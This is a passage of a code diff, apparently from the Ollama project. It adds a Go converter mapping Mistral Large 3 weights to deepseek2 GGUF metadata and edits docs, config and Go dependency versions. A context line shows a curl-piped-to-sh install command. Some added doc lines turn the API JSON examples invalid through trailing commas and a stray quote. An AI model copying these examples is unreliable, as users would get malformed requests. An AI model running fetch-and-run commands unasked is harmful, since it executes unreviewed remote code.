+	// LoRA attention parameters
+	kv["deepseek2.attention.q_lora_rank"] = p.QLoraRank
+	kv["deepseek2.attention.kv_lora_rank"] = p.KVLoraRank
+
+	// ROPE configuration
+	kv["deepseek2.rope.dimension_count"] = p.QKRopeHeadDim
+	kv["deepseek2.rope.freq_base"] = cmp.Or(p.RopeTheta, 10000.0)
+
+	// ROPE scaling - map to deepseek2 format
+	if p.Yarn.OrigMaxPosEmbed > 0 {
+		kv["deepseek2.rope.scaling.factor"] = p.Yarn.Factor
+		kv["deepseek2.rope.scaling.original_context_length"] = p.Yarn.OrigMaxPosEmbed
+		kv["deepseek2.rope.scaling.type"] = "yarn"
+		kv["deepseek2.rope.scaling.yarn_log_multiplier"] = float32(0.1) // mscale_all_dim * 0.1 as in llama.cpp
+	}
+
+	// MOE configuration
+	if p.MOE.NumExperts > 0 {
+		kv["deepseek2.expert_count"] = p.MOE.NumExperts
+		kv["deepseek2.expert_used_count"] = p.MOE.NumExpertsPerTok
+		kv["deepseek2.expert_shared_count"] = p.MOE.NumSharedExperts
+		kv["deepseek2.expert_feed_forward_length"] = p.MOE.ExpertHiddenDim
+		kv["deepseek2.expert_weights_scale"] = p.MOE.RoutedScale
+		kv["deepseek2.leading_dense_block_count"] = p.MOE.FirstKDenseReplace
+		kv["deepseek2.expert_weights_norm"] = true
+		kv["deepseek2.expert_gating_func"] = uint32(1) // softmax
+	}
+
+	// Vision encoder configuration (if supported by deepseek2 runtime)
+	if p.VisionEncoder.HiddenSize > 0 {
+		kv["deepseek2.vision.block_count"] = p.VisionEncoder.NumHiddenLayers
+		kv["deepseek2.vision.embedding_length"] = p.VisionEncoder.HiddenSize
+		kv["deepseek2.vision.feed_forward_length"] = p.VisionEncoder.IntermediateSize
+		kv["deepseek2.vision.attention.head_count"] = p.VisionEncoder.NumAttentionHeads
+		kv["deepseek2.vision.image_size"] = p.VisionEncoder.ImageSize
+		kv["deepseek2.vision.patch_size"] = p.VisionEncoder.PatchSize
+		kv["deepseek2.vision.num_channels"] = p.VisionEncoder.NumChannels
+
+		// Multimodal configuration
+		kv["deepseek2.image_token_id"] = p.VisionEncoder.ImageTokenID
+		kv["deepseek2.image_break_token_id"] = p.VisionEncoder.ImageBreakTokenID
+		kv["deepseek2.image_end_token_id"] = p.VisionEncoder.ImageEndTokenID
+		kv["deepseek2.spatial_merge_size"] = p.VisionEncoder.SpatialMergeSize
+	}
+
+	// Set tokenizer type - use tekken preprocessing (now supported!)
+	kv["tokenizer.ggml.pre"] = "tekken"
+
+	return kv
+}
+
+func (p *mistralLarge3Model) specialTokenTypes() []string {
+	return []string{
+		"bos", "eos", "unk", "sep", "pad", "cls", "mask",
+	}
+}
+
+func (p *mistralLarge3Model) Replacements() []string {
+	return []string{
+		"lm_head", "output",
+		"tok_embeddings", "token_embd", // Mistral Large uses tok_embeddings instead of model.embed_tokens
+		"norm", "output_norm",
+		"language_model.", "",
+		"layers", "blk", // Mistral 3 Large uses "layers" instead of "model.layers"
+		"attention_norm", "attn_norm",
+
+		// LoRA attention mappings (Mistral 3 Large style)
+		"attention.wkv_a_with_mqa", "attn_kv_a_mqa",
+		"attention.kv_a_norm", "attn_kv_a_norm",
+		"attention.wkv_b", "attn_kv_b",
+		"attention.wq_a", "attn_q_a",
+		"attention.q_a_norm", "attn_q_a_norm",
+		"attention.wq_b", "attn_q_b",
+		"attention.wo", "attn_output",
+
+		"ffn_norm", "ffn_norm", // Keep ffn_norm as is
+
+		// MOE mappings for Mistral 3 Large
+		"shared_experts.w2", "ffn_down_shexp",
+		"shared_experts.w1", "ffn_gate_shexp",
+		"shared_experts.w3", "ffn_up_shexp",
+		"experts.*.w1", "ffn_gate_exps", // Will be merged in Tensors()
+		"experts.*.w2", "ffn_down_exps", // Will be merged in Tensors()
+		"experts.*.w3", "ffn_up_exps", // Will be merged in Tensors()
+		"gate", "ffn_gate_inp",
+
+		// Standard feed forward mappings (for non-MOE layers)
+		"feed_forward.w1", "ffn_gate",
+		"feed_forward.w2", "ffn_down",
+		"feed_forward.w3", "ffn_up",
+
+		// Mistral-specific tensor renaming
+		".qscale_act", ".input_scale",
+		".qscale_weight", ".weight_scale",
+
+		// Vision encoder mappings - do we even need this?
+		"vision_tower", "v",
+		"ln_pre", "encoder_norm",
+		"attention.q_proj", "attn_q",
+		"attention.k_proj", "attn_k",
+		"attention.v_proj", "attn_v",
+		"attention.o_proj", "attn_output",
+		"attention_norm", "attn_norm",
+		"feed_forward.gate_proj", "ffn_gate",
+		"feed_forward.down_proj", "ffn_down",
+		"feed_forward.up_proj", "ffn_up",
+
+		"multi_modal_projector", "mm",
+		"patch_merger.merging_layer", "mm.patch_merger",
+		"pre_mm_projector_norm", "mm.pre_norm",
+		"vision_language_adapter.w_in", "mm.w_in",
+		"vision_language_adapter.w_out", "mm.w_out",
+	}
+}
+
+func (p *mistralLarge3Model) Tensors(s []Tensor) (out []*ggml.Tensor) {
+	// Create merges for MOE expert tensors
+	if p.MOE.NumExperts > 0 {
+		merges := make([]merge, p.NumLayers*3)
+		for i := range p.NumLayers {
+			merges[i*3+0] = merge{
+				fmt.Sprintf("blk.%d.experts.*.w1.weight", i),
+				fmt.Sprintf("blk.%d.ffn_gate_exps.weight", i),
+			}
+			merges[i*3+1] = merge{
+				fmt.Sprintf("blk.%d.experts.*.w3.weight", i),
+				fmt.Sprintf("blk.%d.ffn_up_exps.weight", i),
+			}
+			merges[i*3+2] = merge{
+				fmt.Sprintf("blk.%d.experts.*.w2.weight", i),
+				fmt.Sprintf("blk.%d.ffn_down_exps.weight", i),
+			}
+		}
+		out, s = mergeTensors(s, merges...)
+	}
+
+	skipLayer := func(n string, minValue uint32) bool {
+		re := regexp.MustCompile(`^blk\.(\d+)`)
+		matches := re.FindStringSubmatch(n)
+		if matches == nil {
+			return false
+		}
+
+		blkNum, err := strconv.Atoi(matches[1])
+		if err != nil {
+			return false
+		}
+
+		return uint32(blkNum) >= minValue
+	}
+
+	// Function to check if tensor should be skipped (vision components)
+	skipVisionTensor := func(name string) bool {
+		return strings.HasPrefix(name, "vision_") ||
+			strings.HasPrefix(name, "patch_merger.") ||
+			strings.Contains(name, "mm_projector")
+	}
+
+	for _, t := range s {
+		name := t.Name()
+
+		// Skip vision tensors (handled separately or not needed)
+		if skipVisionTensor(name) {
+			slog.Debug("skipping vision tensor", "name", name)
+			continue
+		}
+
+		// Skip any additional layers beyond expected count
+		if skipLayer(name, p.NumLayers) {
+			slog.Debug("skipping extra layer", "name", name)
+			continue
+		}
+
+		out = append(out, &ggml.Tensor{
+			Name:     name,
+			Kind:     t.Kind(),
+			Shape:    t.Shape(),
+			WriterTo: t,
+		})
+	}
+	return out
+}

convert/tokenizer.go

@@ -101,6 +101,8 @@ func parseTokenizer(fsys fs.FS, specialTokenTypes []string) (*Tokenizer, error)
 			t.Pre = "deepseek-coder"
 		case "1ff7f41064896984db5d1bb6ff64fa4bc29007d08c1b439e505b7392777a319e":
 			t.Pre = "qwen2"
+		case "1d64a9a8eaf9f1bd80331984d81fdd514e7feafe8df83a525dd31472f275699a":
+			t.Pre = "tekken"
 		case "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855":
 			// noop, empty pretokenizer
 		default:

convert/tokenizer_spm.go

@@ -49,8 +49,7 @@ func parseSentencePiece(fsys fs.FS) (*Vocabulary, error) {
 			tt := int32(sentencepiece.ModelProto_SentencePiece_NORMAL)
 
 			// temporary fix to handle gemma3 broken configs
-			// TODO(parthsareen): allow reading of tokenizer.json to allow managing special tokens when using spm
-			if slices.Contains([]string{"<end_of_turn>", "<start_of_turn>", "<start_function_declaration>", "<end_function_declaration>", "<start_function_call>", "<end_function_call>", "<start_function_response>", "<end_function_response>", "<escape>"}, piece.GetPiece()) {
+			if slices.Contains([]string{"<end_of_turn>", "<start_of_turn>"}, piece.GetPiece()) {
 				tt = int32(sentencepiece.ModelProto_SentencePiece_CONTROL)
 			}
 

docs/api.md

@@ -895,11 +895,11 @@ curl http://localhost:11434/api/chat -d '{
       "tool_calls": [
         {
           "function": {
-            "name": "get_weather",
+            "name": "get_temperature",
             "arguments": {
               "city": "Toronto"
             }
-          }
+          },
         }
       ]
     },
@@ -907,7 +907,7 @@ curl http://localhost:11434/api/chat -d '{
     {
       "role": "tool",
       "content": "11 degrees celsius",
-      "tool_name": "get_weather"
+      "tool_name": "get_temperature",
     }
   ],
   "stream": false,

docs/api/openai-compatibility.mdx

@@ -277,8 +277,6 @@ curl -X POST http://localhost:11434/v1/chat/completions \
 
 ### `/v1/responses`
 
-> Note: Added in Ollama v0.13.3
-
 Ollama supports the [OpenAI Responses API](https://platform.openai.com/docs/api-reference/responses). Only the non-stateful flavor is supported (i.e., there is no `previous_response_id` or `conversation` support).
 
 #### Supported features

docs/capabilities/vision.mdx

@@ -36,6 +36,7 @@ Provide an `images` array. SDKs accept file paths, URLs or raw bytes while the R
         }],
         "stream": false
     }'
+    "
     ```
   </Tab>
   <Tab title="Python">

docs/faq.mdx

@@ -14,11 +14,11 @@ curl -fsSL https://ollama.com/install.sh | sh
 
 ## How can I view the logs?
 
-Review the [Troubleshooting](./troubleshooting) docs for more about using logs.
+Review the [Troubleshooting](./troubleshooting.md) docs for more about using logs.
 
 ## Is my GPU compatible with Ollama?
 
-Please refer to the [GPU docs](./gpu).
+Please refer to the [GPU docs](./gpu.md).
 
 ## How can I specify the context window size?
 

docs/gpu.mdx

@@ -33,7 +33,7 @@ Check your compute compatibility to see if your card is supported:
 | 5.0                | GeForce GTX         | `GTX 750 Ti` `GTX 750` `NVS 810`                                                                                               |
 |                    | Quadro              | `K2200` `K1200` `K620` `M1200` `M520` `M5000M` `M4000M` `M3000M` `M2000M` `M1000M` `K620M` `M600M` `M500M`                     |
 
-For building locally to support older GPUs, see [developer](./development#linux-cuda-nvidia)
+For building locally to support older GPUs, see [developer.md](./development.md#linux-cuda-nvidia)
 
 ### GPU Selection
 
@@ -54,7 +54,7 @@ sudo modprobe nvidia_uvm`
 
 Ollama supports the following AMD GPUs via the ROCm library:
 
-> **NOTE:**
+> [!NOTE]
 > Additional AMD GPU support is provided by the Vulkan Library - see below.
 
 
@@ -132,9 +132,9 @@ Ollama supports GPU acceleration on Apple devices via the Metal API.
 
 ## Vulkan GPU Support
 
-> **NOTE:**
+> [!NOTE]
 > Vulkan is currently an Experimental feature.  To enable, you must set OLLAMA_VULKAN=1 for the Ollama server as
-described in the [FAQ](faq#how-do-i-configure-ollama-server)
+described in the [FAQ](faq.md#how-do-i-configure-ollama-server)
 
 Additional GPU support on Windows and Linux is provided via
 [Vulkan](https://www.vulkan.org/). On Windows most GPU vendors drivers come
@@ -161,6 +161,6 @@ sudo setcap cap_perfmon+ep /usr/local/bin/ollama
 
 To select specific Vulkan GPU(s), you can set the environment variable
 `GGML_VK_VISIBLE_DEVICES` to one or more numeric IDs on the Ollama server as
-described in the [FAQ](faq#how-do-i-configure-ollama-server). If you
+described in the [FAQ](faq.md#how-do-i-configure-ollama-server). If you
 encounter any problems with Vulkan based GPUs, you can disable all Vulkan GPUs
 by setting `GGML_VK_VISIBLE_DEVICES=-1` 

docs/modelfile.mdx

@@ -41,7 +41,6 @@ INSTRUCTION arguments
 | [`ADAPTER`](#adapter)               | Defines the (Q)LoRA adapters to apply to the model.            |
 | [`LICENSE`](#license)               | Specifies the legal license.                                   |
 | [`MESSAGE`](#message)               | Specify message history.                                       |
-| [`REQUIRES`](#requires)             | Specify the minimum version of Ollama required by the model.   |
 
 ## Examples
 
@@ -249,16 +248,6 @@ MESSAGE user Is Ontario in Canada?
 MESSAGE assistant yes
 ```
 
-### REQUIRES
-
-The `REQUIRES` instruction allows you to specify the minimum version of Ollama required by the model.
-
-```
-REQUIRES <version>
-```
-
-The version should be a valid Ollama version (e.g. 0.14.0).
-
 ## Notes
 
 - the **`Modelfile` is not case sensitive**. In the examples, uppercase instructions are used to make it easier to distinguish it from arguments.

docs/troubleshooting.mdx

@@ -87,7 +87,7 @@ When Ollama starts up, it takes inventory of the GPUs present in the system to d
 
 ### Linux NVIDIA Troubleshooting
 
-If you are using a container to run Ollama, make sure you've set up the container runtime first as described in [docker](./docker)
+If you are using a container to run Ollama, make sure you've set up the container runtime first as described in [docker.md](./docker.md)
 
 Sometimes the Ollama can have difficulties initializing the GPU. When you check the server logs, this can show up as various error codes, such as "3" (not initialized), "46" (device unavailable), "100" (no device), "999" (unknown), or others. The following troubleshooting techniques may help resolve the problem
 

envconfig/config.go

@@ -206,8 +206,6 @@ var (
 	UseAuth = Bool("OLLAMA_AUTH")
 	// Enable Vulkan backend
 	EnableVulkan = Bool("OLLAMA_VULKAN")
-	// Usage enables usage statistics reporting
-	Usage = Bool("OLLAMA_USAGE")
 )
 
 func String(s string) func() string {

go.mod

@@ -15,8 +15,8 @@ require (
 	github.com/spf13/cobra v1.7.0
 	github.com/stretchr/testify v1.9.0
 	github.com/x448/float16 v0.8.4
-	golang.org/x/sync v0.17.0
-	golang.org/x/sys v0.37.0
+	golang.org/x/sync v0.12.0
+	golang.org/x/sys v0.36.0
 )
 
 require (
@@ -28,17 +28,13 @@ require (
 	github.com/nlpodyssey/gopickle v0.3.0
 	github.com/pdevine/tensor v0.0.0-20240510204454-f88f4562727c
 	github.com/tkrajina/typescriptify-golang-structs v0.2.0
-	github.com/wk8/go-ordered-map/v2 v2.1.8
 	golang.org/x/image v0.22.0
-	golang.org/x/mod v0.30.0
-	golang.org/x/tools v0.38.0
+	golang.org/x/tools v0.30.0
 	gonum.org/v1/gonum v0.15.0
 )
 
 require (
 	github.com/apache/arrow/go/arrow v0.0.0-20211112161151-bc219186db40 // indirect
-	github.com/bahlo/generic-list-go v0.2.0 // indirect
-	github.com/buger/jsonparser v1.1.1 // indirect
 	github.com/bytedance/sonic/loader v0.1.1 // indirect
 	github.com/chewxy/hm v1.0.0 // indirect
 	github.com/chewxy/math32 v1.11.0 // indirect
@@ -48,7 +44,6 @@ require (
 	github.com/gogo/protobuf v1.3.2 // indirect
 	github.com/google/flatbuffers v24.3.25+incompatible // indirect
 	github.com/kr/text v0.2.0 // indirect
-	github.com/mailru/easyjson v0.7.7 // indirect
 	github.com/pkg/errors v0.9.1 // indirect
 	github.com/pmezard/go-difflib v1.0.0 // indirect
 	github.com/rivo/uniseg v0.2.0 // indirect
@@ -81,11 +76,11 @@ require (
 	github.com/twitchyliquid64/golang-asm v0.15.1 // indirect
 	github.com/ugorji/go/codec v1.2.12 // indirect
 	golang.org/x/arch v0.8.0 // indirect
-	golang.org/x/crypto v0.43.0
+	golang.org/x/crypto v0.36.0
 	golang.org/x/exp v0.0.0-20250218142911-aa4b98e5adaa // indirect
-	golang.org/x/net v0.46.0 // indirect
-	golang.org/x/term v0.36.0
-	golang.org/x/text v0.30.0
+	golang.org/x/net v0.38.0 // indirect
+	golang.org/x/term v0.30.0
+	golang.org/x/text v0.23.0
 	google.golang.org/protobuf v1.34.1
 	gopkg.in/yaml.v3 v3.0.1 // indirect
 )

go.sum

@@ -14,11 +14,7 @@ github.com/apache/arrow/go/arrow v0.0.0-20211112161151-bc219186db40 h1:q4dksr6IC
 github.com/apache/arrow/go/arrow v0.0.0-20211112161151-bc219186db40/go.mod h1:Q7yQnSMnLvcXlZ8RV+jwz/6y1rQTqbX6C82SndT52Zs=
 github.com/arbovm/levenshtein v0.0.0-20160628152529-48b4e1c0c4d0 h1:jfIu9sQUG6Ig+0+Ap1h4unLjW6YQJpKZVmUzxsD4E/Q=
 github.com/arbovm/levenshtein v0.0.0-20160628152529-48b4e1c0c4d0/go.mod h1:t2tdKJDJF9BV14lnkjHmOQgcvEKgtqs5a1N3LNdJhGE=
-github.com/bahlo/generic-list-go v0.2.0 h1:5sz/EEAK+ls5wF+NeqDpk5+iNdMDXrh3z3nPnH1Wvgk=
-github.com/bahlo/generic-list-go v0.2.0/go.mod h1:2KvAjgMlE5NNynlg/5iLrrCCZ2+5xWbdbCW3pNTGyYg=
 github.com/boombuler/barcode v1.0.0/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
-github.com/buger/jsonparser v1.1.1 h1:2PnMjfWD7wBILjqQbt530v576A/cAbQvEW9gGIpYMUs=
-github.com/buger/jsonparser v1.1.1/go.mod h1:6RYKKt7H4d4+iWqouImQ9R2FZql3VbhNgx27UK13J/0=
 github.com/bytedance/sonic v1.11.6 h1:oUp34TzMlL+OY1OUWxHqsdkgC/Zfc85zGqw9siXjrc0=
 github.com/bytedance/sonic v1.11.6/go.mod h1:LysEHSvpvDySVdC2f87zGWf6CIKJcAvqab1ZaiQtds4=
 github.com/bytedance/sonic/loader v0.1.1 h1:c+e5Pt1k/cy5wMveRDyk2X4B9hF4g7an8N3zCYjJFNM=
@@ -127,7 +123,6 @@ github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+
 github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw=
 github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
 github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
-github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
 github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
 github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
 github.com/jung-kurt/gofpdf v1.0.0/go.mod h1:7Id9E/uU8ce6rXgefFLlgrJj/GYY22cpxn+r32jIOes=
@@ -148,8 +143,6 @@ github.com/ledongthuc/pdf v0.0.0-20250511090121-5959a4027728 h1:QwWKgMY28TAXaDl+
 github.com/ledongthuc/pdf v0.0.0-20250511090121-5959a4027728/go.mod h1:1fEHWurg7pvf5SG6XNE5Q8UZmOwex51Mkx3SLhrW5B4=
 github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ=
 github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI=
-github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
-github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
 github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
 github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
 github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
@@ -214,8 +207,6 @@ github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS
 github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08=
 github.com/ugorji/go/codec v1.2.12 h1:9LC83zGrHhuUA9l16C9AHXAqEV/2wBQ4nkvumAE65EE=
 github.com/ugorji/go/codec v1.2.12/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg=
-github.com/wk8/go-ordered-map/v2 v2.1.8 h1:5h/BUHu93oj4gIdvHHHGsScSTMijfx5PeYkE/fJgbpc=
-github.com/wk8/go-ordered-map/v2 v2.1.8/go.mod h1:5nJHM5DyteebpVlHnWMV0rPz6Zp7+xBAnxjb1X5vnTw=
 github.com/x448/float16 v0.8.4 h1:qLwI1I70+NjRFUR3zs1JPUCgaCXSh3SW62uAKT1mSBM=
 github.com/x448/float16 v0.8.4/go.mod h1:14CWIYCyZA/cWjXOioeEpHeN/83MdbZDRQHoFcYsOfg=
 github.com/xtgo/set v1.0.0 h1:6BCNBRv3ORNDQ7fyoJXRv+tstJz3m1JVFQErfeZz2pY=
@@ -233,8 +224,8 @@ golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACk
 golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
 golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
 golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
-golang.org/x/crypto v0.43.0 h1:dduJYIi3A3KOfdGOHX8AVZ/jGiyPa3IbBozJ5kNuE04=
-golang.org/x/crypto v0.43.0/go.mod h1:BFbav4mRNlXJL4wNeejLpWxB7wMbc79PdRGhWKncxR0=
+golang.org/x/crypto v0.36.0 h1:AnAEvhDddvBdpY+uR+MyHmuZzzNqXSe/GvuDeob5L34=
+golang.org/x/crypto v0.36.0/go.mod h1:Y4J0ReaxCR1IMaabaSMugxJES1EpwhBHhv2bDHklZvc=
 golang.org/x/exp v0.0.0-20180321215751-8460e604b9de/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
 golang.org/x/exp v0.0.0-20180807140117-3d87b88a115f/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
 golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
@@ -264,8 +255,6 @@ golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzB
 golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
 golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
 golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
-golang.org/x/mod v0.30.0 h1:fDEXFVZ/fmCKProc/yAXXUijritrDzahmwwefnjoPFk=
-golang.org/x/mod v0.30.0/go.mod h1:lAsf5O2EvJeSFMiBxXDki7sCgAxEUcZHXoXMKT4GJKc=
 golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
 golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
 golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
@@ -278,8 +267,8 @@ golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81R
 golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
 golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
 golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
-golang.org/x/net v0.46.0 h1:giFlY12I07fugqwPuWJi68oOnpfqFnJIJzaIIm2JVV4=
-golang.org/x/net v0.46.0/go.mod h1:Q9BGdFy1y4nkUwiLvT5qtyhAnEHgnQ/zd8PfU6nc210=
+golang.org/x/net v0.38.0 h1:vRMAPTMaeGqVhG5QyLJHqNDwecKTomGeqbnfZyKlBI8=
+golang.org/x/net v0.38.0/go.mod h1:ivrbrMbzFq5J41QOQh0siUuly180yBYtLp+CKbEaFx8=
 golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
 golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
 golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
@@ -289,8 +278,8 @@ golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJ
 golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
 golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
 golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
-golang.org/x/sync v0.17.0 h1:l60nONMj9l5drqw6jlhIELNv9I0A4OFgRsG9k2oT9Ug=
-golang.org/x/sync v0.17.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI=
+golang.org/x/sync v0.12.0 h1:MHc5BpPuC30uJk597Ri8TV3CNZcTLu6B6z4lJy+g6Jw=
+golang.org/x/sync v0.12.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA=
 golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
 golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
 golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -306,17 +295,17 @@ golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBc
 golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
 golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
 golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
-golang.org/x/sys v0.37.0 h1:fdNQudmxPjkdUTPnLn5mdQv7Zwvbvpaxqs831goi9kQ=
-golang.org/x/sys v0.37.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
+golang.org/x/sys v0.36.0 h1:KVRy2GtZBrk1cBYA7MKu5bEZFxQk4NIDV6RLVcC8o0k=
+golang.org/x/sys v0.36.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
 golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
-golang.org/x/term v0.36.0 h1:zMPR+aF8gfksFprF/Nc/rd1wRS1EI6nDBGyWAvDzx2Q=
-golang.org/x/term v0.36.0/go.mod h1:Qu394IJq6V6dCBRgwqshf3mPF85AqzYEzofzRdZkWss=
+golang.org/x/term v0.30.0 h1:PQ39fJZ+mfadBm0y5WlL4vlM7Sx1Hgf13sMIY2+QS9Y=
+golang.org/x/term v0.30.0/go.mod h1:NYYFdzHoI5wRh/h5tDMdMqCqPJZEuNqVR5xJLd/n67g=
 golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
 golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
 golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
 golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
-golang.org/x/text v0.30.0 h1:yznKA/E9zq54KzlzBEAWn1NXSQ8DIp/NYMy88xJjl4k=
-golang.org/x/text v0.30.0/go.mod h1:yDdHFIX9t+tORqspjENWgzaCVXgk0yYnYuSZ8UzzBVM=
+golang.org/x/text v0.23.0 h1:D71I7dUrlY+VX0gQShAThNGHFxZ13dGLBHQLVl1mJlY=
+golang.org/x/text v0.23.0/go.mod h1:/BLNzu4aZCJ1+kcD0DNRotWKage4q2rGVAg4o22unh4=
 golang.org/x/tools v0.0.0-20180525024113-a5b4c53f6e8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
 golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
